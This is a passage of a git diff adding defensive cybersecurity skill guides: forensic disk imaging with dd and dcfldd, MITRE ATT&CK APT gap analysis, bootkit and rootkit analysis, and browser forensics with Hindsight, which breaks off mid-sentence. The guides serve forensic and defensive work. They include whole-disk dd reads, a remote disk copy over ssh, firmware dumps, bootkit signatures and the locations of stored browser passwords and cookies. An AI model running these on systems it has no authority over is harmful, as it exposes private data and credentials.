/cases/case-2024-001/notes/source_drive_info.txt + +# Pre-hash the source device +sha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_before.txt +``` + +### Step 3: Acquire the Image Using dd + +```bash +# Basic dd acquisition with progress and error handling +dd if=/dev/sdb of=/cases/case-2024-001/images/evidence.dd \ + bs=4096 \ + conv=noerror,sync \ + status=progress 2>&1 | tee /cases/case-2024-001/logs/dd_acquisition.log + +# For compressed images to save space +dd if=/dev/sdb bs=4096 conv=noerror,sync status=progress | \ + gzip -c > /cases/case-2024-001/images/evidence.dd.gz + +# Using dd with a specific count for partial acquisition +dd if=/dev/sdb of=/cases/case-2024-001/images/first_1gb.dd \ + bs=1M count=1024 status=progress +``` + +### Step 4: Acquire Using dcfldd (Preferred Forensic Method) + +```bash +# Install dcfldd if not present +apt-get install dcfldd + +# Acquire image with built-in hashing and split output +dcfldd if=/dev/sdb \ + of=/cases/case-2024-001/images/evidence.dd \ + hash=sha256,md5 \ + hashwindow=1G \ + hashlog=/cases/case-2024-001/hashes/acquisition_hashes.txt \ + bs=4096 \ + conv=noerror,sync \ + errlog=/cases/case-2024-001/logs/dcfldd_errors.log + +# Split large images into manageable segments +dcfldd if=/dev/sdb \ + of=/cases/case-2024-001/images/evidence.dd \ + hash=sha256 \ + hashlog=/cases/case-2024-001/hashes/split_hashes.txt \ + bs=4096 \ + split=2G \ + splitformat=aa + +# Acquire with verification pass +dcfldd if=/dev/sdb \ + of=/cases/case-2024-001/images/evidence.dd \ + hash=sha256 \ + hashlog=/cases/case-2024-001/hashes/verification.txt \ + vf=/cases/case-2024-001/images/evidence.dd \ + verifylog=/cases/case-2024-001/logs/verify.log +``` + +### Step 5: Verify Image Integrity + +```bash +# Hash the acquired image +sha256sum /cases/case-2024-001/images/evidence.dd | \ + tee /cases/case-2024-001/hashes/image_hash.txt + +# Compare source and image hashes +diff <(sha256sum /dev/sdb | awk '{print $1}') \ + <(sha256sum /cases/case-2024-001/images/evidence.dd | awk '{print $1}') + +# If using split images, verify each segment +sha256sum /cases/case-2024-001/images/evidence.dd.* | \ + tee /cases/case-2024-001/hashes/split_image_hashes.txt + +# Re-hash source to confirm no changes occurred +sha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_after.txt +diff /cases/case-2024-001/hashes/source_hash_before.txt \ + /cases/case-2024-001/hashes/source_hash_after.txt +``` + +### Step 6: Document the Acquisition Process + +```bash +# Generate acquisition report +cat << 'EOF' > /cases/case-2024-001/notes/acquisition_report.txt +DISK IMAGE ACQUISITION REPORT +============================== +Case Number: 2024-001 +Date/Time: $(date -u +"%Y-%m-%d %H:%M:%S UTC") +Examiner: [Name] + +Source Device: /dev/sdb +Model: [from hdparm output] +Serial: [from hdparm output] +Size: [from fdisk output] + +Acquisition Tool: dcfldd v1.9.1 +Block Size: 4096 +Write Blocker: [Hardware/Software model] + +Image File: evidence.dd +Image Hash (SHA-256): [from hash file] +Source Hash (SHA-256): [from hash file] +Hash Match: YES/NO + +Errors During Acquisition: [from error log] +EOF + +# Compress logs for archival +tar -czf /cases/case-2024-001/acquisition_package.tar.gz \ + /cases/case-2024-001/hashes/ \ + /cases/case-2024-001/logs/ \ + /cases/case-2024-001/notes/ +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Bit-for-bit copy | Exact replica of source including unallocated space and slack space | +| Write blocker | Hardware or software mechanism preventing writes to evidence media | +| Hash verification | Cryptographic hash comparing source and image to prove integrity | +| Block size (bs) | Transfer chunk size affecting speed; 4096 or 64K typical for forensics | +| conv=noerror,sync | Continue on read errors and pad with zeros to maintain offset alignment | +| Chain of custody | Documented trail proving evidence has not been tampered with | +| Split imaging | Breaking large images into smaller files for storage and transport | +| Raw/dd format | Bit-for-bit image format without metadata container overhead | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| dd | Standard Unix disk duplication utility for raw imaging | +| dcfldd | DoD Computer Forensics Laboratory enhanced version of dd with hashing | +| dc3dd | Another forensic dd variant from the DoD Cyber Crime Center | +| sha256sum | SHA-256 hash calculation for integrity verification | +| blockdev | Linux command to set block device read-only mode | +| hdparm | Drive identification and parameter reporting | +| smartctl | S.M.A.R.T. data retrieval for drive health and identification | +| lsblk | Block device enumeration and identification | + +## Common Scenarios + +**Scenario 1: Acquiring a Suspect Laptop Hard Drive** +Connect the drive via a Tableau T35u hardware write-blocker, identify as `/dev/sdb`, use dcfldd with SHA-256 hashing, split into 4GB segments for DVD archival, verify hashes match, document in case notes. + +**Scenario 2: Imaging a USB Flash Drive from a Compromised Workstation** +Use software write-blocking with `blockdev --setro`, acquire with dcfldd including MD5 and SHA-256 dual hashing, image is small enough for single file, verify and store on encrypted case drive. + +**Scenario 3: Remote Acquisition Over Network** +Use dd piped through netcat or ssh for remote acquisition: `ssh root@remote "dd if=/dev/sda bs=4096" | dd of=remote_image.dd bs=4096`, hash both ends independently to verify transfer integrity. + +**Scenario 4: Acquiring from a Failing Drive** +Use `ddrescue` first to recover readable sectors, then use dd with `conv=noerror,sync` to fill gaps with zeros, document which sectors were unreadable in the error log. + +## Output Format + +``` +Acquisition Summary: + Source: /dev/sdb (500GB Western Digital WD5000AAKX) + Destination: /cases/case-2024-001/images/evidence.dd + Tool: dcfldd 1.9.1 + Block Size: 4096 bytes + Duration: 2h 15m 32s + Bytes Copied: 500,107,862,016 + Errors: 0 bad sectors + Source SHA-256: a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1 + Image SHA-256: a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1 + Verification: PASSED - Hashes match +``` diff --git a/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md b/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md new file mode 100644 index 00000000..bf1278b4 --- /dev/null +++ b/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md @@ -0,0 +1,257 @@ +--- +name: analyzing-apt-group-with-mitre-navigator +description: Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense. +domain: cybersecurity +subdomain: threat-intelligence +tags: [mitre-attack, navigator, apt, threat-actor, ttp-analysis, heatmap, detection-gap, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing APT Group with MITRE ATT&CK Navigator + +## Overview + +MITRE ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices, enabling analysts to visualize threat actor technique coverage, compare multiple APT groups, identify detection gaps, and build threat-informed defense strategies. This skill covers querying ATT&CK data programmatically, mapping APT group TTPs to Navigator layers, creating multi-layer overlays for gap analysis, and generating actionable intelligence reports for detection engineering teams. + +## Prerequisites + +- Python 3.9+ with `attackcti`, `mitreattack-python`, `stix2`, `requests` libraries +- ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) or local deployment +- Understanding of ATT&CK Enterprise matrix: 14 Tactics, 200+ Techniques, Sub-techniques +- Access to threat intelligence reports or MISP/OpenCTI for threat actor data +- Familiarity with STIX 2.1 Intrusion Set and Attack Pattern objects + +## Key Concepts + +### ATT&CK Navigator Layers + +Navigator layers are JSON files that annotate ATT&CK techniques with scores, colors, comments, and metadata. Each layer can represent a single APT group's technique usage, a detection capability map, or a combined overlay. Layer version 4.5 supports enterprise-attack, mobile-attack, and ics-attack domains with filtering by platform (Windows, Linux, macOS, Cloud, Azure AD, Office 365, SaaS). + +### APT Group Profiles in ATT&CK + +ATT&CK catalogs over 140 threat groups with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. Groups are identified by G-codes (e.g., G0016 for APT29, G0007 for APT28, G0032 for Lazarus Group). + +### Multi-Layer Analysis + +The Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time. + +## Practical Steps + +### Step 1: Query ATT&CK Data for APT Group + +```python +from attackcti import attack_client +import json + +lift = attack_client() + +# Get all threat groups +groups = lift.get_groups() +print(f"Total ATT&CK groups: {len(groups)}") + +# Find APT29 (Cozy Bear / Midnight Blizzard) +apt29 = next((g for g in groups if g.get('name') == 'APT29'), None) +if apt29: + print(f"Group: {apt29['name']}") + print(f"Aliases: {apt29.get('aliases', [])}") + print(f"Description: {apt29.get('description', '')[:300]}") + +# Get techniques used by APT29 (G0016) +techniques = lift.get_techniques_used_by_group("G0016") +print(f"APT29 uses {len(techniques)} techniques") + +technique_map = {} +for tech in techniques: + tech_id = "" + for ref in tech.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + tech_id = ref.get("external_id", "") + break + if tech_id: + tactics = [p.get("phase_name", "") for p in tech.get("kill_chain_phases", [])] + technique_map[tech_id] = { + "name": tech.get("name", ""), + "tactics": tactics, + "description": tech.get("description", "")[:500], + "platforms": tech.get("x_mitre_platforms", []), + "data_sources": tech.get("x_mitre_data_sources", []), + } +``` + +### Step 2: Generate Navigator Layer JSON + +```python +def create_navigator_layer(group_name, technique_map, color="#ff6666"): + techniques_list = [] + for tech_id, info in technique_map.items(): + for tactic in info["tactics"]: + techniques_list.append({ + "techniqueID": tech_id, + "tactic": tactic, + "color": color, + "comment": info["name"], + "enabled": True, + "score": 100, + "metadata": [ + {"name": "group", "value": group_name}, + {"name": "platforms", "value": ", ".join(info["platforms"])}, + ], + }) + + layer = { + "name": f"{group_name} TTP Coverage", + "versions": {"attack": "16.1", "navigator": "5.1.0", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": f"Techniques attributed to {group_name}", + "filters": { + "platforms": ["Linux", "macOS", "Windows", "Cloud", + "Azure AD", "Office 365", "SaaS", "Google Workspace"] + }, + "sorting": 0, + "layout": { + "layout": "side", "aggregateFunction": "average", + "showID": True, "showName": True, + "showAggregateScores": False, "countUnscored": False, + }, + "hideDisabled": False, + "techniques": techniques_list, + "gradient": {"colors": ["#ffffff", color], "minValue": 0, "maxValue": 100}, + "legendItems": [ + {"label": f"Used by {group_name}", "color": color}, + {"label": "Not observed", "color": "#ffffff"}, + ], + "showTacticRowBackground": True, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": True, + "selectSubtechniquesWithParent": False, + "selectVisibleTechniques": False, + } + return layer + +layer = create_navigator_layer("APT29", technique_map) +with open("apt29_layer.json", "w") as f: + json.dump(layer, f, indent=2) +print("[+] Layer saved: apt29_layer.json") +``` + +### Step 3: Compare Multiple APT Groups + +```python +groups_to_compare = {"G0016": "APT29", "G0007": "APT28", "G0032": "Lazarus Group"} +group_techniques = {} + +for gid, gname in groups_to_compare.items(): + techs = lift.get_techniques_used_by_group(gid) + tech_ids = set() + for t in techs: + for ref in t.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + tech_ids.add(ref.get("external_id", "")) + group_techniques[gname] = tech_ids + +common_to_all = set.intersection(*group_techniques.values()) +print(f"Techniques common to all groups: {len(common_to_all)}") +for tid in sorted(common_to_all): + print(f" {tid}") + +for gname, techs in group_techniques.items(): + others = set.union(*[t for n, t in group_techniques.items() if n != gname]) + unique = techs - others + print(f"\nUnique to {gname}: {len(unique)} techniques") +``` + +### Step 4: Detection Gap Analysis with Layer Overlay + +```python +# Define your current detection capabilities +detected_techniques = { + "T1059", "T1059.001", "T1071", "T1071.001", "T1566", "T1566.001", + "T1547", "T1547.001", "T1053", "T1053.005", "T1078", "T1027", +} + +actor_techniques = set(technique_map.keys()) +covered = actor_techniques.intersection(detected_techniques) +gaps = actor_techniques - detected_techniques + +print(f"=== Detection Gap Analysis for APT29 ===") +print(f"Actor techniques: {len(actor_techniques)}") +print(f"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)") +print(f"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)") + +# Create gap layer (red = undetected, green = detected) +gap_techniques = [] +for tech_id in actor_techniques: + info = technique_map.get(tech_id, {}) + for tactic in info.get("tactics", [""]): + color = "#66ff66" if tech_id in detected_techniques else "#ff3333" + gap_techniques.append({ + "techniqueID": tech_id, + "tactic": tactic, + "color": color, + "comment": f"{'DETECTED' if tech_id in detected_techniques else 'GAP'}: {info.get('name', '')}", + "enabled": True, + "score": 100 if tech_id in detected_techniques else 0, + }) + +gap_layer = { + "name": "APT29 Detection Gap Analysis", + "versions": {"attack": "16.1", "navigator": "5.1.0", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": "Green = detected, Red = gap", + "techniques": gap_techniques, + "gradient": {"colors": ["#ff3333", "#66ff66"], "minValue": 0, "maxValue": 100}, + "legendItems": [ + {"label": "Detected", "color": "#66ff66"}, + {"label": "Detection Gap", "color": "#ff3333"}, + ], +} +with open("apt29_gap_layer.json", "w") as f: + json.dump(gap_layer, f, indent=2) +``` + +### Step 5: Tactic Breakdown Analysis + +```python +from collections import defaultdict + +tactic_breakdown = defaultdict(list) +for tech_id, info in technique_map.items(): + for tactic in info["tactics"]: + tactic_breakdown[tactic].append({"id": tech_id, "name": info["name"]}) + +tactic_order = [ + "reconnaissance", "resource-development", "initial-access", + "execution", "persistence", "privilege-escalation", + "defense-evasion", "credential-access", "discovery", + "lateral-movement", "collection", "command-and-control", + "exfiltration", "impact", +] + +print("\n=== APT29 Tactic Breakdown ===") +for tactic in tactic_order: + techs = tactic_breakdown.get(tactic, []) + if techs: + print(f"\n{tactic.upper()} ({len(techs)} techniques):") + for t in techs: + print(f" {t['id']}: {t['name']}") +``` + +## Validation Criteria + +- ATT&CK data queried successfully via TAXII server +- APT group mapped to all documented techniques with procedure examples +- Navigator layer JSON validates and renders correctly in ATT&CK Navigator +- Multi-layer overlay shows threat actor vs. detection coverage +- Detection gap analysis identifies unmonitored techniques with data source recommendations +- Cross-group comparison reveals shared and unique TTPs +- Output is actionable for detection engineering prioritization + +## References + +- [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) +- [ATT&CK Groups](https://attack.mitre.org/groups/) +- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client) +- [Navigator Layer Format v4.5](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md) +- [CISA Best Practices for MITRE ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf) +- [Picus: Leverage MITRE ATT&CK for Threat Intelligence](https://www.picussecurity.com/how-to-leverage-the-mitre-attack-framework-for-threat-intelligence) diff --git a/skills/analyzing-bootkit-and-rootkit-samples/SKILL.md b/skills/analyzing-bootkit-and-rootkit-samples/SKILL.md new file mode 100644 index 00000000..2580c1c4 --- /dev/null +++ b/skills/analyzing-bootkit-and-rootkit-samples/SKILL.md @@ -0,0 +1,344 @@ +--- +name: analyzing-bootkit-and-rootkit-samples +description: > + Analyzes bootkit and advanced rootkit malware that infects the Master Boot Record (MBR), + Volume Boot Record (VBR), or UEFI firmware to gain persistence below the operating system. + Covers boot sector analysis, UEFI module inspection, and anti-rootkit detection techniques. + Activates for requests involving bootkit analysis, MBR malware investigation, UEFI + persistence analysis, or pre-OS malware detection. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, bootkit, rootkit, UEFI, MBR-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Bootkit and Rootkit Samples + +## When to Use + +- A system shows signs of compromise that persist through OS reinstallation +- Antivirus and EDR are unable to detect malware despite clear evidence of compromise +- UEFI Secure Boot has been disabled or shows integrity violations +- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls) +- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group) + +**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques. + +## Prerequisites + +- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors +- UEFITool for UEFI firmware volume analysis and module extraction +- chipsec for hardware-level firmware security assessment +- Ghidra with x86 real-mode and 16-bit support for MBR code analysis +- Volatility 3 for kernel-level rootkit artifact detection +- Bootable Linux live USB for offline system analysis + +## Workflow + +### Step 1: Acquire Boot Sectors and Firmware + +Extract MBR, VBR, and UEFI firmware for offline analysis: + +```bash +# Acquire MBR (first 512 bytes of disk) +dd if=/dev/sda of=mbr.bin bs=512 count=1 + +# Acquire first track (usually contains bootkit code beyond MBR) +dd if=/dev/sda of=first_track.bin bs=512 count=63 + +# Acquire VBR (Volume Boot Record - first sector of partition) +dd if=/dev/sda1 of=vbr.bin bs=512 count=1 + +# Acquire UEFI System Partition +mkdir /mnt/efi +mount /dev/sda1 /mnt/efi +cp -r /mnt/efi/EFI /analysis/efi_backup/ + +# Dump UEFI firmware (requires chipsec or flashrom) +# Using chipsec: +python chipsec_util.py spi dump firmware.rom + +# Using flashrom: +flashrom -p internal -r firmware.rom + +# Verify firmware dump integrity +sha256sum firmware.rom +``` + +### Step 2: Analyze MBR/VBR for Bootkit Code + +Examine boot sector code for malicious modifications: + +```bash +# Disassemble MBR code (16-bit real mode) +ndisasm -b16 mbr.bin > mbr_disasm.txt + +# Compare MBR with known-good Windows MBR +# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP) +# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h) + +python3 << 'PYEOF' +with open("mbr.bin", "rb") as f: + mbr = f.read() + +# Check MBR signature (bytes 510-511 should be 0x55AA) +if mbr[510:512] == b'\x55\xAA': + print("[*] Valid MBR signature (0x55AA)") +else: + print("[!] Invalid MBR signature") + +# Check for known bootkit signatures +bootkit_sigs = { + b'\xE8\x00\x00\x5E\x81\xEE': "TDL4/Alureon bootkit", + b'\xFA\x33\xC0\x8E\xD0\xBC\x00\x7C\x8B\xF4\x50\x07': "Standard Windows MBR (clean)", + b'\xEB\x5A\x90\x4E\x54\x46\x53': "Standard NTFS VBR (clean)", +} + +for sig, name in bootkit_sigs.items(): + if sig in mbr: + print(f"[{'!' if 'clean' not in name else '*'}] Signature match: {name}") + +# Check partition table entries +print("\nPartition Table:") +for i in range(4): + offset = 446 + (i * 16) + entry = mbr[offset:offset+16] + if entry != b'\x00' * 16: + boot_flag = "Active" if entry[0] == 0x80 else "Inactive" + part_type = entry[4] + start_lba = int.from_bytes(entry[8:12], 'little') + size_lba = int.from_bytes(entry[12:16], 'little') + print(f" Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors") +PYEOF +``` + +### Step 3: Analyze UEFI Firmware for Implants + +Inspect UEFI firmware volumes for unauthorized modules: + +```bash +# Extract UEFI firmware components with UEFITool +# GUI: Open firmware.rom -> Inspect firmware volumes +# CLI: +UEFIExtract firmware.rom all + +# List all DXE drivers (most common target for UEFI implants) +find firmware.rom.dump -name "*.efi" -exec file {} \; + +# Compare against known-good firmware module list +# Each UEFI module has a GUID - compare against vendor baseline + +# Verify Secure Boot configuration +python chipsec_main.py -m common.secureboot.variables + +# Check SPI flash write protection +python chipsec_main.py -m common.bios_wp + +# Check for known UEFI malware patterns +yara -r uefi_malware.yar firmware.rom +``` + +``` +Known UEFI Bootkit Detection Points: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +LoJax (APT28): + - Modified SPI flash + - Added DXE driver that drops agent to Windows + - Persists through OS reinstall and disk replacement + +BlackLotus: + - Exploits CVE-2022-21894 to bypass Secure Boot + - Modifies EFI System Partition bootloader + - Installs kernel driver during boot + +CosmicStrand: + - Modifies CORE_DXE firmware module + - Hooks kernel initialization during boot + - Drops shellcode into Windows kernel memory + +MoonBounce: + - SPI flash implant in CORE_DXE module + - Modified GetVariable() function + - Deploys user-mode implant through boot chain + +ESPecter: + - Modifies Windows Boot Manager on ESP + - Patches winload.efi to disable DSE + - Loads unsigned kernel driver +``` + +### Step 4: Detect Kernel-Level Rootkit Behavior + +Analyze the running system for rootkit artifacts: + +```bash +# Memory forensics for rootkit detection +# SSDT hook detection +vol3 -f memory.dmp windows.ssdt | grep -v "ntoskrnl\|win32k" + +# Hidden processes (DKOM) +vol3 -f memory.dmp windows.psscan > psscan.txt +vol3 -f memory.dmp windows.pslist > pslist.txt +# Diff to find hidden processes + +# Kernel callback registration (rootkits register callbacks for filtering) +vol3 -f memory.dmp windows.callbacks + +# Driver analysis +vol3 -f memory.dmp windows.driverscan +vol3 -f memory.dmp windows.modules + +# Check for unsigned drivers +vol3 -f memory.dmp windows.driverscan | while read line; do + driver_path=$(echo "$line" | awk '{print $NF}') + if [ -f "$driver_path" ]; then + sigcheck -nobanner "$driver_path" 2>/dev/null | grep "Unsigned" + fi +done + +# IDT hook detection +vol3 -f memory.dmp windows.idt +``` + +### Step 5: Boot Process Integrity Verification + +Verify the integrity of the entire boot chain: + +```bash +# Verify Windows Boot Manager signature +sigcheck -a C:\Windows\Boot\EFI\bootmgfw.efi + +# Verify winload.efi +sigcheck -a C:\Windows\System32\winload.efi + +# Verify ntoskrnl.exe +sigcheck -a C:\Windows\System32\ntoskrnl.exe + +# Check Measured Boot logs (if TPM is available) +# Windows: BCDEdit /enum firmware +bcdedit /enum firmware + +# Verify Secure Boot state +Confirm-SecureBootUEFI # PowerShell cmdlet + +# Check boot configuration for tampering +bcdedit /v + +# Look for boot configuration changes +# testsigning: should be No +# nointegritychecks: should be No +# debug: should be No +bcdedit | findstr /i "testsigning nointegritychecks debug" +``` + +### Step 6: Document Bootkit/Rootkit Analysis + +Compile comprehensive analysis findings: + +``` +Analysis should document: +- Boot sector (MBR/VBR) integrity status with hex comparison +- UEFI firmware module inventory and integrity verification +- Secure Boot status and any bypass mechanisms detected +- Kernel-level hooks (SSDT, IDT, IRP, inline) identified +- Hidden processes, drivers, and files discovered +- Persistence mechanism (SPI flash, ESP, MBR, kernel driver) +- Boot chain integrity verification results +- Attribution to known bootkit families if possible +- Remediation steps (reflash firmware, rebuild MBR, replace hardware) +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control | +| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders | +| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP | +| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it | +| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence | +| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions | +| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers | + +## Tools & Systems + +- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules +- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration +- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection +- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules +- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines + +## Common Scenarios + +### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation + +**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected. + +**Approach**: +1. Boot from a Linux live USB to avoid executing any compromised OS components +2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis +3. Dump the MBR and VBR sectors with dd for boot sector analysis +4. Copy the EFI System Partition for bootloader integrity verification +5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware +6. Look for additional or modified DXE drivers that should not be present +7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format) +8. Verify Secure Boot configuration and check for exploit-based bypasses + +**Pitfalls**: +- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis) +- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants) +- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894) +- Not preserving the original firmware dump before reflashing (critical evidence for attribution) + +## Output Format + +``` +BOOTKIT / ROOTKIT ANALYSIS REPORT +==================================== +System: Dell OptiPlex 7090 (UEFI, TPM 2.0) +Firmware Version: 1.15.0 (Dell) +Secure Boot: ENABLED (but bypassed) +Capture Method: Linux Live USB + chipsec SPI dump + +MBR/VBR ANALYSIS +MBR Signature: Valid (0x55AA) +MBR Code: MATCHES standard Windows 10 MBR (clean) +VBR Code: MATCHES standard NTFS VBR (clean) + +UEFI FIRMWARE ANALYSIS +Total Modules: 287 +Vendor Expected: 285 +Extra Modules: 2 UNAUTHORIZED + [!] DXE Driver GUID: {ABCD1234-...} "SmmAccessDxe_mod" (MODIFIED) + Original Size: 12,288 bytes + Current Size: 45,056 bytes (32KB ADDED) + Entropy: 7.82 (HIGH - encrypted payload) + + [!] DXE Driver GUID: {EFGH5678-...} "UefiPayloadDxe" (NEW - not in vendor firmware) + Size: 28,672 bytes + Function: Drops persistence agent during boot + +BOOT CHAIN INTEGRITY +bootmgfw.efi: MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894) +winload.efi: MODIFIED (DSE disabled at load time) +ntoskrnl.exe: CLEAN (but unsigned driver loaded after boot) + +KERNEL ROOTKIT COMPONENTS +Driver: C:\Windows\System32\drivers\null_mod.sys (unsigned, hidden) +SSDT Hooks: 3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile) +Hidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe) +Hidden Files: C:\Windows\System32\drivers\null_mod.sys + +ATTRIBUTION +Family: BlackLotus variant +Confidence: HIGH (CVE-2022-21894 exploit, ESP modification pattern matches) + +REMEDIATION +1. Reflash SPI firmware with clean vendor image via hardware programmer +2. Rebuild EFI System Partition from clean Windows installation media +3. Reinstall OS from verified media +4. Enable all firmware write protections +5. Update firmware to latest version (patches CVE-2022-21894) +``` diff --git a/skills/analyzing-browser-forensics-with-hindsight/SKILL.md b/skills/analyzing-browser-forensics-with-hindsight/SKILL.md new file mode 100644 index 00000000..fa955079 --- /dev/null +++ b/skills/analyzing-browser-forensics-with-hindsight/SKILL.md @@ -0,0 +1,215 @@ +--- +name: analyzing-browser-forensics-with-hindsight +description: Analyze Chromium-based browser artifacts using Hindsight to extract browsing history, downloads, cookies, cached content, autofill data, saved passwords, and browser extensions from Chrome, Edge, Brave, and Opera for forensic investigation. +domain: cybersecurity +subdomain: digital-forensics +tags: [browser-forensics, hindsight, chrome-forensics, chromium, edge, browsing-history, cookies, downloads, cache, web-artifacts] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Browser Forensics with Hindsight + +## Overview + +Hindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases. + +## Prerequisites + +- Python 3.8+ with Hindsight installed (`pip install pyhindsight`) +- Access to browser profile directories from forensic image +- Browser profile data (not encrypted with OS-level encryption) +- Timeline Explorer or spreadsheet application for analysis + +## Browser Profile Locations + +| Browser | Windows Profile Path | +|---------|---------------------| +| Chrome | %LOCALAPPDATA%\Google\Chrome\User Data\Default\ | +| Edge | %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\ | +| Brave | %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\ | +| Opera | %APPDATA%\Opera Software\Opera Stable\ | +| Vivaldi | %LOCALAPPDATA%\Vivaldi\User Data\Default\ | +| Chrome (macOS) | ~/Library/Application Support/Google/Chrome/Default/ | +| Chrome (Linux) | ~/.config/google-chrome/Default/ | + +## Key Artifact Files + +| File | Contents | +|------|----------| +| History | URL visits, downloads, keyword searches | +| Cookies | HTTP cookies with domain, expiry, values | +| Web Data | Autofill entries, saved credit cards | +| Login Data | Saved usernames/passwords (encrypted) | +| Bookmarks | JSON bookmark tree | +| Preferences | Browser configuration and extensions | +| Local Storage/ | HTML5 Local Storage per domain | +| Session Storage/ | Session-specific storage per domain | +| Network Action Predictor | Previously typed URLs | +| Shortcuts | Omnibox shortcuts and predictions | +| Top Sites | Frequently visited sites | + +## Running Hindsight + +### Command Line + +```bash +# Basic analysis of a Chrome profile +hindsight.exe -i "C:\Evidence\Users\suspect\AppData\Local\Google\Chrome\User Data\Default" -o C:\Output\chrome_analysis + +# Specify browser type +hindsight.exe -i "/path/to/profile" -o /output/analysis -b Chrome + +# JSON output format +hindsight.exe -i "C:\Evidence\Chrome\Default" -o C:\Output\chrome --format jsonl + +# With cache parsing (slower but more complete) +hindsight.exe -i "C:\Evidence\Chrome\Default" -o C:\Output\chrome --cache +``` + +### Web UI + +```bash +# Start Hindsight web interface +hindsight_gui.exe +# Navigate to http://localhost:8080 +# Upload or point to browser profile directory +# Configure output format and analysis options +# Generate and download report +``` + +## Artifact Analysis Details + +### URL History and Visits + +```sql +-- Chrome History database schema (key tables) +-- urls table: id, url, title, visit_count, typed_count, last_visit_time +-- visits table: id, url, visit_time, from_visit, transition, segment_id + +-- Timestamps are Chrome/WebKit format: microseconds since 1601-01-01 +-- Convert: 